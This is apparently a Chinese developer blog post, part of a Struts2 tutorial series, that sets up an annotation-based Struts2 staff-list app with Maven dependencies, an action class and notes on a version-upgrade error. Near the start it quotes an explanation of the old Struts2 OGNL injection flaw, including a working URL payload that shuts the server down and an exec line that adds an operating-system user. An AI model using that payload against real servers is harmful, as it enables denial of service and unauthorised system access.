4.JSP+JavaBean+Struts2(anno)

好久好久没用过struts2，都说struts2被抛弃了，原因就在于这个框架本身有好多漏洞。
当时设计这个的时候还是非常先进的，只不过后来一直不停的修修补补，而且为了适应整合spring，加了好多action管理的jar包，这就导致了struts2产生漏洞了。

下面是引用的漏洞原因：

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。　　当我们提交一个http参数:?user.address.city=Bishkek&user['favoriteDrink']=kumys
　　ONGL将它转换为:
　　　　action.getUser().getAddress().setCity("Bishkek")
　　　　action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?('\u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1

转义后是这样:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1

OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭
　　
类似的可以执行
java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
只要有权限就可以执行任何DOS命令。

现在做struts2的配置基本都是以注解的方式，简明扼要，好几年没用过，突然再用好不习惯，意料之中发现问题了，竟然找不到action。

今天做这个例子的时候碰到一个超级bug，折腾了俩小时
以前的strut2版本是2.3.1.2，想升级一下这个版本，改为2.3.34，结果替换完就启动报错了，一直报错

Paste_Image.png

There is no Action mapped for namespace [/] and action name [staff!list] associated with context path [].

估计学struts的人没有不碰到这个错误的。提示很明显，找不到这个action，但是什么原因呢，提示不清楚，就一直猜。
最后没办法，又替换原来的struts的版本，竟然好了。
不知道这两年struts2升级哪些功能了，以前的程序竟然不能用了。

还有一个大的bug是struts2里面的所有action都必须在上级包名为action、struts等下面，不能为其他的，虽然官方有提示，谁也不能看这个啊

过程如下：

pom.xml添加依赖，包括struts2-core、javassist

            org.apache.struts
            struts2-core
            2.3.1.2
        
        
            javassist
            javassist
            3.12.1.GA
        
        
            org.apache.struts
            struts2-convention-plugin
            2.3.1.2
        
        
            mysql
            mysql-connector-java
            5.1.18
        
        
            javax.servlet
            servlet-api
            2.5
        
        
        
            log4j
            log4j
            1.2.17
        

struts.xml，很简洁了

StaffAction
这里面几个核心注解：
@ParentPackage指继承struts的默认包
@Namespace指请求路径
@Action指当前类的名称
@Results指方法名和返回值jsp，type有redirect是跳转，url会变
页面的请求方法为http://localhost:8080/staff!list.action
利用!分隔开action的名称和方法名，非常独特

@ParentPackage("struts-default")
@Namespace("/")
@Action("staff")
@Results({ @Result(name = "list", location = "/list.jsp"), @Result(name = "toAdd", location = "/add.jsp"),
        @Result(name = "home", location = "staff!list.action", type = "redirect") })
public class StaffAction extends ActionSupport {
    private static final long serialVersionUID = 1L;
    private List staffList;
    private Staff staff;

    public String list() {
        StaffDao staffDao = new StaffDao();
        staffList = staffDao.list();
        return "list";
    }

    public String toAdd() {
        return "toAdd";
    }

    public String add() {
        StaffDao staffDao = new StaffDao();
        staffDao.add(staff.getName());
        return "home";
    }

    public void setStaffList(List staffList) {
        this.staffList = staffList;
    }

    public List getStaffList() {
        return staffList;
    }

    public Staff getStaff() {
        return staff;
    }

    public void setStaff(Staff staff) {
        this.staff = staff;
    }
}

源码下载

本工程详细源码